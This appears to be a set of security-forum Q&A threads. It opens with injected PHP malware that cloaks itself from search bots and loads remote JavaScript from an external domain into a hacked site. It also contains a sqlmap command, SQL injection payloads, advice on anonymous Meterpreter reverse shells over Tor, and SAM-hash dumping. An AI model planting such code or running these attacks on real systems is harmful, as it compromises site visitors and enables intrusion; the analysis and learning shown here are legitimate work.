} else echo "<!-- 404-NOT-FOUND-ERROR -->";
$http_report_user = $_SERVER['HTTP_USER_AGENT'];
if ( @stripos ( $http_report_user, 'bot' ) == false and @stripos ( $http_report_user, 'google' ) == false and @stripos ( $http_report_user, 'yandex' ) == false and @stripos ( $http_report_user, 'slurp' ) == false and @stripos ( $http_report_user, 'yahoo' ) == false and @stripos ( $http_report_user, 'msn' ) == false and @stripos ( $http_report_user, 'bing' ) == false ) {
    $http_report = strtolower ( $_SERVER['HTTP_HOST'] );
    $wordpress_report = strrev ('=ecruos&wordpress?/moc.yadot-syasse//:ptth');
    $not_found_report = strrev ('=drowyek&');
    $not_found_page=str_ireplace('/','',$_SERVER['REQUEST_URI']);
    $not_found_page=str_ireplace('-',' ',$not_found_page);
    echo '<nofollow><noindex><script src="'.$wordpress_report.$http_report.$not_found_report.$not_found_page.'"></script></noindex></nofollow>';
}?>

Please help me find where it started or the backdoor used to inject such malicious code. Also, can somebody tell me what that code does?

There's a lot of obfuscation there, but these two lines stand out:

$wordpress_report = strrev ('=ecruos&wordpress?/moc.yadot-syasse//:ptth');
$not_found_report = strrev ('=drowyek&');

It looks as though they're trying to pull a script in from that site (essays-today). Presumably, that's a compromised domain they've found and exploited, and they're including that code into your site in order to propagate.

echo '<nofollow><noindex><script src="'.$wordpress_report.$http_report.$not_found_report.$not_found_page.'"></script></noindex></nofollow>';

This line is taking the formed string in PHP, and printing it out as HTML. Note how it's doing that: the variables are all being entered into the tags inside <script>, so it's loading that compound string as a location for some Javascript. It's going to then run that external Javascript on your site.

Have you recently installed any new plugins to Wordpress? There are several with known security issues. It might be worth installing a 404 checking plugin. Any requests that your site receives that don't link anywhere will get displayed, so any requests to unsecure plugins will be displayed, along with the location the requests came from. It may not triage the situation, but it will be a good indication as to how and where you're being attacked from.


How to securely store and use 3rd party API Keys? I've seen a few questions here with similar concerns but i felt like this specific question wasn't asked or replied to, so I'll try my best to illustrate my case here.

The problem:

The platform I'm developing consists of a "3rd party APIs" function aggregator and normalizer as in: my users will provide their API KEYS and i have to store them
Users need to provide several API KEYs for 3rd party APIs
The application needs to API Calls on behalf of the user, even when the user isn't logged in ( during background tasks )
When calling 3rd party APIs I'll need the cleartext form of those keys and secrets

My infrastructure:

I currently use Heroku ( for my http server ) which theoretically guarantee nobody can access my machines via SSH or other means
My pass guarantees only a selected amount of users ( ideally using 2 factor authentication ) have access to the control panel, therefore to the ENV variables, therefore to the database credentials

My current plan:

Store API KEYS on a separate server which issues its own token for future authentication
Only accept API calls from my own http servers ( using some sort of private VPN )
Exposes an API which only gives access to a few selected functions then used by my other servers, this way reducing the attack surface of my system to only this machine with minimal software installed ( a minimal node.js http api ).

My pass recommendation:

Use heroku to run my "key manager servixe"
Store database credentials on ENV variables and don't give access to this account to anyone other than the "keys admin" which will be the only person able to login into the pass dashboard and see the database address/credentials

Questions:

What is the most secure way to store and use those keys?
Is there any option that is more secure than simply storing the keys on a database which the address/credentials are protected by a two-factor authenticated dashboard?

Thank You

Based on what you stating on your question.
Just use plain certificate store such as JKS file, file or PFX if running on windows and then secure your file system , so the file is protected.
This is if you are storing private keys, however if your application is the client of a third party service then you only need their public key, which does not need to be protected as good as the private key.
Your application still needs the passphrase to open the key store.
there are some security patterns for certificates such as rotating certs.


Meterpreter (Metasploit) anonymous reverse connection over Tor2web The general consensus seems to be that one sets up a listener on a server accessible by a public IP and some port forwarding. For anonymity this should be a throw-away server or a hacked box.

I've been trying to make a reverse connection over tor (hidden service serves the listener) with a simple client-side exploit. This is nothing new but requires some custom scripting to set up tor and make the meterpreter-instance call back over it's socks proxy. Doing this all in memory with no admin-rights makes it even harder.

Making the listener a hidden service solves anonymity, NAT issues and the setup on server side can be more dynamic.
I was then looking in to making the victim setup easier by using the Tor2web proxies. Retrieving the meterpreter (web delivery/http meterpreter) is no problem but I only get a session 10% of the time, and when I interact with it and type 'help' it shows barely any commands.
It seems that the staging does not work (my guess)
The session always ends 10 seconds after it starts, regardless if I interact with it...
"The session is not valid" is the error it exits with.

Does anyone have experience with reverse connections over tor2web?
This article seems to make it work with Empire;
http://secureallthethings.blogspot.be/2016_11_01_archive.html

You may want to consider the following:

Tor exit nodes might only allow a small set of outbound ports; perhaps move your listener to 443/tcp
Are you using SSL?
Have you tried simplifying it to the bone, for example using a basic https egress from your exploit via tor2web and see what is the success rate on the listener end. Then add complexity by using meterpreter (staged/stageless) and measuring what happens? It could be that your exploit simply drops the connection.

Basically, reduce the variables until you can pinpoint the problem..


SQLmap injection not working, manually it works fine I have built a vulnerable web application to demonstrate SQL injection. I want to show both manual injection and automated injection. The injection requires a) the user to be logged in (session cookie), b) a user SSL certificate and c) a PREFIX.

My command is:

python ./sqlmap.py --auth-file ~/welcomecert.p12 -u "http://komodobank.com/index.php?profile=adminsnowball" -p profile --cookie="PHPSESSID=sp1222aplv64fok7pa7voe447" --prefix="adminsnowball'" -v 3 --dbms mysql --level 5 --risk 3 --union-cols 10-16

I can see that SQLmap is working away, but it never finds the field to be injectable.

A manual injection like this works:

http://vulnapp.com/index.php?profile=admin' or '1'='1

Things that might be causing SQLmap to fail:

The returned error message is a custom error message, not a MySQL error message.
The profile prefix must be the logged in username.
The UNION isn't testing enough fields possibly
Its not testing strings but just integers (for instance AND 3347=7762 and not AND '3347'='7762
Its testing AND and not OR (I can't see any ORs being tested)
The http GET request is then passed to JS which ajax's for the data from the server. Perhaps the response is lost to SQLmap?

Below is some of the queries that can see it is testing, but apparently they all fail.

[PAYLOAD] admin' AND 3115=1602 AND (3320=3320
[PAYLOAD] admin' AND 5213=5213 AND (8263=8263
[PAYLOAD] admin' AND 3347=7762
[PAYLOAD] admin' AND 5213=5213
[PAYLOAD] admin' ORDER BY 1--
[PAYLOAD] admin' ORDER BY 3421--
[PAYLOAD] admin' UNION ALL SELECT NULL--
[PAYLOAD] admin' UNION ALL SELECT NULL,NULL--
[PAYLOAD] admin' UNION ALL SELECT NULL,NULL,NULL--
[PAYLOAD] admin' UNION ALL SELECT NULL,NULL,NULL,NULL--

EDIT: This query also works manually:

' union select table_name,2,3,4,5,6,7,8,9,10,11,12 from information_schema.tables where 'x'='x

However, SQLmap doesn't seem to test unions like that.

Whilst it's impossible to say exactly why sqlmap is failing without having access to the test application you could look at using an intercepting proxy to review the requests/responses from the app. to see where its failing . Using a proxy like OWASP ZAP or Burp you could look at the queries sent by sqlmap and get an idea of why they might be failing.


pwdump gives me blank passwords as hash although there are passwords? I was trying to boot my brother laptop with USB stick containing Kali live in order to improve my knowledge as a cyber security specialist candidate. After I booted the system with Kali live and used pwdump to dump Windows's SAM file contents, I just found blank password hashes.

root@kali~:$ pwdump system sam

XXX:XXX:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
XXX:XXX:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
XXX:XXX:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
XXX:XXX:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
XXX:XXX:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
XXX:XXX:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
XXX:XXX:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

But the computer uses passwords to login the Windows system. I mean pwdump should have dumped at least three real password hashes. But it didn't. Although system has passwords, why did pwdump give me just blank password hashes? Is it a new security prevention of Windows systems in the area of offline hacking?

Note: I'm using Kali Live 2016. The system which I deal with is Windows 10.

Note2: samdump gave the same result with pwdump and also lsadump, cachedump didn't work due to some python syntax errors.

Since the latest Windows Anniversary Update, Windows 10 seems to be using AES encryption on the SAM file, as well as storing information differently.

See this tweet.

Currently, pwdump doesn't appear to support extracting hashes offline in this new update, there's an issue posted on the GitHub page here.

You may have to sit tight and wait for an update, or look for an alternative tool.


Dealing with a misconfigured corporate SSL certificate I work at an organization that inspects all HTTPS traffic by injecting its own SSL certificates. It wasn't configured properly though, so Firefox always shows a "Your connection is not secure" error message. Sites that use HSTS do not allow me to see them at all.

This is a problem because I am a developer and I need to download files from the Internet. wget becomes wget --no-check-certificate, git clone becomes git -c http.sslVerify=false clone, and so forth. This is more than an inconvenience -- it is a security hazard, and it makes it impossible to run certain scripts that do not provide an option for accepting insecure certificates (such as running get-pip.py for installing the Python package manager).

I have looked under the little padlock in Firefox and I don't see a root certificate for me.

Is there any way for me to accept these certificates globally? I have root on my machine.

There is no way to accept these certificates globally because different tools use different trust stores. wget on Linux uses the certificates at /etc/ssl/certs, Firefox comes with its own CA store, with curl it is depending on the TLS library, Python might have its own store depending on the package used, Java has its own etc.


Software installations without local admin rights In the light of fewer technicians to visit sites and install software on to PC's, users are requesting Local Admin rights to do it themselves.

Is there a safe way or procedure of doing this for users in a controlled manner?

Short story: it is possible and can be used safely for advanced users, but you must know that those user do have administrative rights on their machine from that point.

Now for the longer story:

Giving a local admin account to a user makes sense if he/she is aware of general security rules. Because once he has got it, the admin can no longer protect the machine from his errors. But I used that method as a non admin but professional manager for a laptop. I needed to be able to do administrative operations even in week-end when I could not be helped by my network administators, for example changing an IP address to connect my professional laptop on my personal internet access. Or to install a particular reader to display an important document.

The rule was:

I informed the administrators of what I had done with the admin account
my normal account had no admin privileges
I only used the local admin account for short operations after thinking twice on what the risk was
I was often having coffee with the system admins to be fully aware of all the security rules

If you fear that a user could install anything, giving him/her a local admin account is very near to opening Pandora's box: anything can happen beyond that point

TL/DR: while it can save time for both the admins and users, a local admin account should only be given to security educated people

As you were said in comment, if the need for administrative operations is only during normal working hours, and if the ratio user/admin is not too high, remote desktop from the admins can be a safer and simpler alternative...


Auditd logging related to SELinux? Is there any relation between auditd and SELinux? Or can we use auditd even if SELinux is disabled?

SELinux uses auditd for logging purposes, but auditd is independent from it. You can use auditd without SELinux present.


How to ignore request-response pairs with a 304 status code in Burp? I'm using Burp Pro to assess a web application that sends a requests to an particular endpoint every second. This responds to almost every request with a 304 Not Modified status code, and I'd rather not have to dig through them in my proxy history. I've tried to set Project Options: HTTP: Streaming Responses to that particular endpoint, but to no avail.
I don't want to block the endpoint outright, because when it returns a 200 status code I want to know, but I'm not seeing any configurations that would help.
Ideally I could just ignore all 304 responses, but again, I'm not seeing an obvious way to configure that.

I would try playing with the filter settings in the HTTP History tab:
Filter out 3xx response codes:

Or filter out the text "Not Modified", assuming you don't need to text search for anything else:


ABAC policy formulation and RBAC question I am asked to answer a question that says:

  One online book-store wants to grand access to clients regarding their subscription. There are 3 types of subscriptions A , B and C. Customers get access in the subscription type they chose. Also if a book is not listed in the subscription list it's free for all and , every 15th of every month all books are free.
  1) Describe with formal representation the above policy on ABAC.
  2) How many roles does the RBAC model needs and which?

I have studied the Al-Kahtani & Sandhu paper, that only covers the RBAC, but not ABAC.
In my understanding I have to set 2 rules for ABAC.
First rule will let the 3 types of subscribers to have free all unlisted books.
Second rule will contain an (e) date as 15th which will all books will be free. Or is it something completely different?

As far as RBAC goes, I need 3 roles regarding subscription names.

Any help appreciated as I kind find any literature that has an ABAC policy formulation example.

Axiomatics provides an authorization policy lifecycle that will help you formulate your ABAC policy.

Define the use case
Define the use case’s authorization requirements in natural language statements
Identify the attributes that are used in the natural language statements
Identify where the attributes comes from
Rework the natural language statements as attribute-based rules
Define the test cases
Connect the dots: draw an architecture diagram of the overall system

Let's work through your example.

Use Case

One online book-store wants to grand access to clients regarding their subscription. There are 3 types of subscriptions A , B and C.

Authorization requirements

Customers get access in the subscription type they choose.
If a book is not listed in the subscription list it's free for all.
Every 15th of every month all books are free.

Identify attributes

User Attributes

User role e.g. customer
User subscription plan e.g. A, B, C
Optionally customer status (active, inactive)

Resource Attributes

Book subscription plan

Action Attributes

Action id e.g. view, delete, approve...

Contextual Attributes

Date / Day of the month

Identify the source of the attributes

In this stage you define whether the attributes come from a database, an LDAP, a web service... This is more of an implementation / deployment concern. In this theoretical exercise, you can skip this step.

Rework the natural language statements as attribute-based

A user with the role == customer can do the action == download on an object of type == book if customer.subscription == book.subscription
A user with the role == customer can do the action == download on an object of type == book if book.subscription == ''
A user with the role == customer can do the action == download on an object of type == book if date.day == '15'

In conclusion it means your RBAC model needs a single role, customer.

You can use the ALFA language to model your policies and convert them into XACML, the eXtensible Access Control Markup Language.


Best practices to copy private keys to mobile devices I would like to copy an ssh key to my Android phone. However, I have displaced the connection cable for my computer. I am looking for a safe way to transfer the key to the device.

Obviously, I don't want to send it to my device using email (attack vectors everywhere). Using bluetooth is not an option since my laptop doesn't support it. I could transfer the key safely to my server via SSH and then copy it back using Password authentification, but I feel like there must be a "cleaner" way of doing this that doesn't involve broadcasting the keys into the internet in some form.

You might want to try using a QR code to copy the key over. Generate the QR code on the laptop and scan it using your phone's camera. Obviously, dont use an online service to generate it, linux has a qrencode library which does that.

I have tried converting my PGP public key into a QR code and the phone successfully read it. However, if your ssh key is too long, you might have to split it up into sections.


Throttle network based on OS What do I need to learn/know to throttle a clients network based on his/her operating system.

For example:

Someone in my network using Kali Linux... I would like to throttle
their traffic to trickle state. Is it possible to do this?
If its possible, what ways can the client spoof their OS.. ie: Kali
Linux shows up as Windows XP (deterring OS scanning tools)

It is possible to fingerprint the OS to some level, but you won't be able to differentiate Kali Linux from Ubuntu/Red Hat. Or between some Windows versions.

On the other hand detecting the behavior (eg. a port scan) instead of the OS would be simpler.

If you are happy with the detection quality and don't mind some false positives, eg. that your boss new smartphone gets misidentified as a malicious OS, I would recommend using p0f.


What's the risk in putting semantically meaningful data in an HTTP session identifier? I'm currently looking at performance optimization and am considering a way of speeding up cookie based session handling. There are advantages to having a session identifier in place when there is no server-side data referenced by it. I'm trying to work out if it's a good idea to attach an indicator to the session id which shows if there is serverside data. This would avoid the need for attempting to fetch non-existent data in some cases, and could be further extended for other simple cases (e,g, to differentiate between different server-side session data storage backends).

e.g. the first time a user hits a site they get a session id 'abc' and...

Set-Cookie: sessionid=0abc;  HttpOnly

When any data is added to the session....

Set-cookie: sessionid=1abc; HttpOnly

Obviously the presence/absence of server-side data will be apparent to an eavesdropper. And there is the potential for the cookie to be tampered with such that it appears to be associated with serverside data - but in this case the worst thing to happen is that it behaves the same way as sessions do currently.

I'm also mindful, that in the EU we must now ask users for consent before dropping any non-critical cookies.

Further, I'm not proposing to use 3 letter session identifiers! Apart from a small stub, the remainder of the session id would continue to follow usual practices of being essentially random data. I'm assuming that there's no gain to be made by regnerating this at the point where the stub changes.

But can anyone see an issue I don't?

If you'll be using this solely as an accelerator tag, then I don't see any reasons why not. You've mentioned you considered the possibility of this cookie data being tempered with, so if you're already designing your user identification (when it applies) with this possibility in mind, it really shouldn't be an additional security issue.

As for that EU "cookie directive", here's a quick digest of it:

  The law requires companies to obtain “explicit consent” before using
  or storing data in ways that may be considered to be “intrusive.”

IANAL applies, but in my book an accelerator that isn't neither too space/bandwidth consuming, nor “intrusive” by identifying or helping to identify the user in any way whatsoever, really doesn't fall within this "cookie paranoia" category. If anything, it's there to the benefit of the end user. But to be sure, you should check with the lawyer of the company you're designing your solution for, as they'll be the ones responsible for how their services operate. You will be required to notify users of the use of cookies on the website anyway ("this website uses cookies... blah, blah, blah..."),

  "Member States shall ensure that the storing of information, or the
  gaining of access to information already stored, in the terminal
  equipment of a subscriber or user is only allowed on condition that
  the subscriber or user concerned has given his or her consent, having
  been provided with clear and comprehensive information."

so that notification could point to a page describing each cookie value. Not too descriptive to be a security issue on its own, but enough to help clear the user's mind of it. Any other requirements regarding this "cookie law" really depend on what other cookies you'll be using and for what purpose.

The only other "issue" that I can think of is that you should take into account that users might be enabling/disabling or even deleting cookies at random and at any stage of using your website (especially with all these required by law warnings reminding them they ought to be more paranoid than it's worth or mentally healthy being), and that this switching on its own shouldn't present any issues with how your code functions. In a nutshell, you should never depend on any cookie values and rather consider them as "helpers", as you suggested you already do anyway.


What to do with an APK file containing Swf.Exploit.CVE_2015_0323-1 and ELF File? I received an APK file from a source. Prior to installation, I ran a virus scan on it. The result had following main features:

The file contained Swf.Exploit.CVE_2015_0323-1
It required android.permission.INTERNET (full Internet access)
It contained an ELF file.

Other than that, interesting strings found in the file were following:

http://airdownload2.adobe.com/air?
https://www.adobe.com/airgames/5/
https://www.adobe.com/airgames/4/
http://s3-us-west-1.amazonaws.com/gamepreview/prod/airandroid/air.properties
http://www.adobe.com/airgames/3/
https://www.adobe.com/gamepreview/?game=notification/notificationClicked.html_
http://gamespace.adobe.com
https://dh8vjmvwgc27o.cloudfront.net
http://dh8vjmvwgc27o.cloudfront.net/AIRGamepad/connect_ping.txt
http://dh8vjmvwgc27o.cloudfront.net/AIRGamepad/connect_ping.txt?publisher=

National Vulnerability Database defines the SWF Exploit detected as:

  Heap-based buffer overflow in Adobe Flash Player before 13.0.0.269 and
  14.x through 16.x before 16.0.0.305 on Windows and OS X and before 11.2.202.442 on Linux allows attackers to execute arbitrary code via unspecified vectors, a different vulnerability than CVE-2015-0327.

McAfee further explains:

  The files are highly obfuscated and won't run as they are since they
  are part of an infection chain created by Angler when the user access
  a web page compromised by it (known as "landing page")

  The big string passed as parameter to the page is a Base-64 encoded
  data, which is converted to the string below:

  Subject=Ping&key=AFC095B821F238B75D827C52804B8C907BC1E546ED8FF102104C4A106

I can see a weird link of Cloud front and a connect_ping.txt file present there. If I use the app without internet on, should I be okay?

The other suspicious thing is why does the app want full internet access since it does not need it at all? It is just an offline game. The strings make me think that it requires access to display ads and notify about clicks.

ELF file is something I am not quite certain. It maybe a framework. But what if it is being used as a Malware?

TL;DR, Should I install the app? If that is off-topic, I would be grateful to get a more detailed view of the mentioned exploits in order to make a decision.

My Device is SGH-T999L running Android 4.3.

PS: Out of 56 different sources, Only ClamAV detected the SWF exploit. All others did not detect anything. So it might be a false positive. I used Virus-Total.com scan.

Also Adobe did release security patches to counter this exploit, if it makes any difference.

You should NOT.

First, you don't know if the file is trustable, you got it from some "source". It is never advisable to install APKs from untrustworthy sources, especially on your primary device.

Second, it contains a known vulnerability.

Third, it is an offline game, and it requires full internet connection(it may be because of ads, but you never know what all it is transmitting and receiving).

Fourth, you have a pretty much old version of Android, and it is not up to date with all the security patches.

UPDATE: If the app has permission for writing/modifying files on your device's storage, the files might remain even after uninstallation of the app.


What is actually the purpose of encrypting the values in a cookie? I was researching on internet security. When I reached at section Cookies, I happened to read that the values inside a cookie are generally stored only after encrypting them. But an encryption can be easily decrypted by someone who can tamper the cookies. Considering the fact that if we have tampered the cookie, then whether it is encrypted or not, it is possible to access the session corresponding to that cookie. Then what is actually the purpose of encrypting the cookie?

If the encryption key is stored on the server, then only the server can decrypt the cookie, and only the server can make predictable changes to the cookie.  An attacker can make changes to the cyphertext of the cookie, but they cannot know in advance what effect those changes will have.  If the cookie additionally includes a message authentication code or other anti-tampering measure, then an attacker cannot make changes to an encrypted cookie without invalidating it.

Encrypting the cookie also keeps the user and others on the same computer from being able to see what information is being stored.  This permits the server to associate sensitive information with a user (eg. "log me in automatically" information), without needing to track the session server-side.

Cookie encryption does nothing to keep cookie-stealing attacks from being used to impersonate a user; to defend against that, other measures are needed.


Why doesn't Linux randomize the address of the executable code segment? I've recently been learning about how ASLR (address space randomization) works on Linux.  At least on Fedora and Red Hat Enterprise Linux, there are two kinds of executable programs:

Position Independent Executables (PIEs) receive strong address randomization.  Apparently, the location of everything is randomized, separately for each program.  Apparently, network-facing daemons ought to be compiled as PIEs (using the -pie -fpie compiler flags), to ensure they receive the full-strength randomization.
Other executables receive partial address randomization.  The executable code segment is not randomized -- it is at a fixed, predictable address that is the same for all Linux systems.  In contrast, shared libraries are randomized: they are loaded at a random position that's the same for all such programs on the system.

I think I understand why non-PIE executables have the weaker form of randomization for shared libraries (this is necessary for prelink, which speeds up linking and loading of executables).  I also think I understand why non-PIE executables don't have their executable segment randomized at all: it looks like it's because the program must be compiled as a PIE, to be able to randomize the location of the executable code segment.

Still, leaving the location of the executable code segment un-randomized is potentially a security risk (for instance, it makes ROP attacks easier), so it would be good to understand whether it's feasible to provide full randomization for all binaries.

So, is there a reason not to compile everything as PIE?  Is there a performance overhead to compiling as PIE?  If so, how much is the performance overhead on different architectures, particularly on x86_64, where address randomization is most effective?

References:

How Effective is ASLR on Linux Systems?
Prelink and address space randomization
Position Independent Code (PIC) in shared libraries on x64

Although the details greatly vary between architectures, what I say here applies equally well to 32-bit x86, 64-bit x86, but also ARM and PowerPC: faced with the same issues, about all architecture designers have used similar solutions.

There are (roughly speaking) four kinds of "accesses", at assembly level, which are relevant to the "position-independent" system: there are function calls (call opcodes) and data accesses, and both may target either an entity within the same object (where an object is a "shared object", i.e. a DLL, or the executable file itself) or within another object. Data accesses to stack variables are not relevant here; I am talking about data accesses to global variables or static constant data (in particular the contents of what appears, at source level, to be literal character strings). In a C++ context, virtual methods are referenced by what is, internally, function pointers in special tables (called "vtables"); for the purposes of this answer, these are data accesses as well, even though a method is code.

The call opcode uses a target address which is relative: it is an offset computed between the current instruction pointer (technically, the first byte after the argument to the call opcode) and the call target address. This means that function calls within the same object can be fully resolved at (static) link time; they don't show up in the dynamic symbol tables, and they are "position-independent". On the other hand, function calls to other objects (cross-DLL calls, or calls from the executable file to a DLL) must go through some indirection which is handled by the dynamic linker. The call opcode must still jump "somewhere", and the dynamic linker wants to dynamically adjust it. The format tries to achieve two characteristics:

Lazy linking: the call target is looked for and resolved only when it is first used.
Shared pages: at most as possible, in-memory structures should be kept identical to the corresponding bytes in executable files, to promote sharing across multiple invocations (if two processes load the same DLL, the code should be present only once in RAM) and easier paging (when RAM is tight, a page which is an unmodified copy of a chunk of data in a file can be evicted from physical RAM, since it can be reloaded at will).

Since sharing is on a per-page basis, this means that dynamically altering the call argument (the few bytes after the call opcode) should be avoided. Instead, the compiled code uses a Global Offsets Table (or several -- I simplify things a bit). Basically, the call jumps to a small piece of code which does the actual call, and is subject to modification by the dynamic linker. All such small wrappers, for a given object, are stored together in pages which the dynamic linker will modify; these pages are at a fixed offset from the code, so the argument to call is computed at static link time and needs not be modified from the source file. When the object is first loaded, all the wrappers point to a dynamic linker function which does the linking upon first invocation; that function modifies the wrapper itself to point to the resolved target, for subsequent invocations. The assembly-level juggling is intricate but works well.

Data accesses follow a similar pattern, but they don't have relative addressing. That is, a data access will use an absolute address. That address will be computed within a register, which will then be used for access. The x86 line of CPU can have the absolute address directly as part of the opcode; for RISC architectures, with fixed-size opcodes, the address will be loaded as two or three successive instructions.

In a non-PIE executable file, the target address of a data element is known to the static linker, who can hardcode it directly in the opcode which does the access. In a PIE executable, or in a DLL, this is not possible since the target address is not known before execution (it depends on other objects which will be loaded in RAM, and also on ASLR). Instead, the binary code must use the GOT again. The GOT address is dynamically computed into a base register. On 32-bit x86, the base register is conventionally %ebx and the following code is typical:

    call nextaddress
nextaddress:
    popl %ebx
    addl somefixedvalue, %ebx

The first call simply jumps to the next opcode (so the relative address here is just a zero); since this is a call, it pushes the return address (also that of the popl opcode) on the stack, and the popl extracts it. At that point, %ebx contains the address of popl, so a simple addition modifies that value to point to the start of the GOT. Data accesses can then be done relatively to %ebx.

So what is changed by compiling an executable file as PIE ? Actually not much. A "PIE executable" means making the main executable a DLL, and loading it and linking it just like any other DLL. This implies the following:

Function calls are unmodified.
Data accesses from code in the main executable, to data elements which also are in the main executable, incur some extra overhead. All other data accesses are unaltered.

The overhead from data accesses is due to the use of a conventional register to point at the GOT: one extra indirection, one register used for this functionality (this impacts register-starved architectures like 32-bit x86), and some extra code to recompute the pointer to the GOT.

However, data accesses are already somewhat "slow", when compared with accesses to local variables, so compiled code already caches such accesses when possible (the variable value is kept in a register and flushed only when needed; and even when flushed, the variable address is also kept in a register). This is made even more so by the fact that global variables are shared between threads, so most application code which uses such global data uses it only in a read-only way (when writes are performed, they are done under the protection of a mutex, and grabbing the mutex incurs a much bigger cost anyway). Most CPU-intensive code will work on registers and stack variables, and won't be impacted by making the code position-independent.

At most, compiling code as PIE will imply a size overhead of about 2% on typical code, with no measurable impact on code efficiency, so that's hardly a problem (I got that figure from discussing with people involved in the development of OpenBSD; the "+2%" was a problem for them in the very specific situation of trying to fit a barebone system on a boot floppy disc).

Non-C/C++ code may have trouble with PIE, though. When producing compiled code, the compiler must "know" whether it is for a DLL or for a static executable, to include the code chunks which find the GOT. There won't be many packages in a Linux OS which may incur issues, but Emacs would be a candidate for trouble, with its Lisp dump-and-reload feature.

Note that code in Python, Java, C#/.NET, Ruby... is completely out of scope of all this. PIE is for "traditional" code in C or C++.


Where should I start looking if an internet provider has notified me of malware? I got an email earlier today from my internet service provider telling me there's some sort of malware on one of the ips in my home, and it had asked me to download some antivirus software.  The antivirus software listed links directly to Norton, McAfee, and AVG's websites.
I'm not sure if this email is fake, since I have never received virus warnings from my ISP before.  But it says it has something to do with xcodeghost. I'm not sure what this is, but from looking online it has something to do with iOS/Mac deivces, yet the email is specifically asking me to look into a Windows machine.
I"m totally confused and have no idea what to do. Here's the snippet from my email:

Dear me,
AT&T has received information indicating that one or more devices
using your Internet connection may be infected with malicious
software. Internet traffic consistent with a malware infection
(“xcodeghost”) was observed on Oct 12, 2015 at 5:00 AM EDT from the IP
address xx.xx.xx.xx . Our records indicate that this IP address was
assigned to you at this time.
Infected computers are often used as part of a zombie computer network
(“botnet”). Botnets are networks of computers which have been infected
with malware and placed under the control of a hacker or group of
hackers. They are often used for attacks on websites, spamming, fraud,
and distribution of additional malware.
Because malware is designed to run in secret, an infected computer may
display no obvious symptoms.
To address this matter we ask that you take the following actions. If
your computer(s) are managed by an Information Technology (IT) group
at your place of work, please pass this information on to them. If you
use a wireless network, an infected computer may be using your
Internet connection without your knowledge. Ensure that your wireless
router is password-protected and using WPA or WPA2 encryption (use WEP
only if WPA is not available). Check the connections to the router and
ensure that you recognize all connected devices. Ensure your firewall
settings and anti-virus software are up-to-date, and install any
necessary service packs or patches. Scan all systems for viruses and
other malware. Additional tools and information:
Tools for removing rootkits, bots, and other crimeware: Norton Power
Eraser: https://security.symantec.com/nbrt/npe.aspx (Windows) McAfee
Rootkit Remover:
http://www.mcafee.com/us/downloads/free-tools/rootkitremover.aspx
(Windows) Tools for general virus and malware removal: Microsoft
Safety & Security Center: http://www.microsoft.com/security/ (Windows)
Malwarebytes Anti-Malware: http://malwarebytes.org/ (Windows, Android)
Spybot +AV: http://www.safer-networking.org/ (Windows) OS X
Gatekeeper: http://support.apple.com/kb/HT5290 (OS X) AT&T Malware and
Network Security analysts gather weekly to give you the information
that you need to know about the latest security news and trends. Visit
AT&T ThreatTraq at http://techchannel.att.com/showpage.cfm?ThreatTraq
Type: xcodeghost
Source port: 53105
Destination port: 80

I have numerous amounts of windows and ios devices at home so I have no idea where to start.

It'll be one of your ios devices. I'd review the list of applications in the paloalto research report on xcode ghost and see if any of them line up with applications you have installed on one of your ios devices, and uninstall the infected app.


What are the consequences of revoking OpenPGP subkeys and generating new ones? I almost feel stupid for asking this, but I have some trouble understanding subkeys, and what to do if a subkey gets compromised.

Let's say my "main" private key is used for certification only. I created separate subkeys for signing, encryption, and authentication.

The "main" private key is stored in a vault, and I have the subkeys on my laptop for daily usage.

Now, let's say my laptop gets stolen. I create a revoke request for those subkeys, and create new encryption, signing, and authentication subkeys.

Now, this where I get confused:

What happens to my existing public key? Do I need to export my public key again, and have it signed by trusted partners again?
Can messages signed by the new signing subkey, be validated by the public key I already distributed in the past?

What happens to my existing public key? Do I need to export my public key again, and have it signed by trusted partners again?

By revoking the subkeys but not the primary key, you do not have to collect new certifications (each certification points to a pair of a user ID and primary key, subkeys are not relevant with respect to certificatoins).

As you revoked the subkeys and generated new ones, you should distribute a new copy of your public key (which in this case is considered a collection of primary key and subkeys (including the revocation certificates for the old subkeys), user IDs, certifications, ... Your actual public primary key is not updated during this process, though.

  Can messages signed by the new signing subkey, be validated by the public key I already distributed in the past?

No, others have to fetch a new copy of your keys. They do not need to validate your primary key again, though.


Why is TLS1.2 wrapped in TLS1.3? I was just curious about TLS1.3 which Cloudflare is one of the companies leading the implementation. I then visited blog.cloudflare.com and turned on my Wireshark. I am not 100% clear about all technical details of TLS1.3, but one of the new features that I was particularly interested in is Encrypted-SNI, which aims to hide the intended visiting domain name.

I check the pcap, saw both Client Hello and Server Hello as follow:

I was surprised to see TLS1.2 was wrapped in the TLS1.3 packet, and the SNI part of TLS1.2 is still there, exposing the server name.

So I wonder whether this is the implementation error or I have been downgraded, or am I missing something? Note that I already configure my Firefox browser to force TLS1.3 only, thus it's not the issue of my browser as you can see in the supported_versions extension.

Your question about the version numbers in TLS 1.3 ClientHello -- note the record version is 1.0 (wire 0301) and message version is 1.2 (wire 0303), and as you note only the supported_versions extension says 1.3 (0304) -- is a crossdupe of https://serverfault.com/questions/907347/tls-1-3-client-server-hello-version-1-2 and now that RFC8446 is official is explained there.

It appears your actual concern might be that your connection attempt -- which is in fact 1.3 -- is not using ESNI. If so, the obvious answer is that the domain blog.cloudflare.com does not support ESNI, at least as defined in the draft; specifically it does not publish any TXT RR(s) at _esni.blog.cloudflare.com as required. The only domain I know cloudflare has announced to support ESNI is encryptedsni.com, and _esni.encrypted.com does have TXT RR containing ESNIKeys, although I didn't go to the trouble of installing Firefox nightly to test if it actually works. You might try that.


How does Blucoat Proxy allow governments to decrypt SSL? I am asking about systems like: Bluecoat ProxySG

I saw some relevant answers here:
Can my company see what HTTPS sites I went to?

It explains how employers can do it using root certificates, but does not explain how can governments or ISPs so it. I understood that you need admin access to a computer to add the fake certificate to the computer trust store.

Does that mean that ProxySG uses a trojan/hacking mechanism to access a victim's computer before employing the fake certificate man in the middle attack?
Are there any details to how they install this certificate?

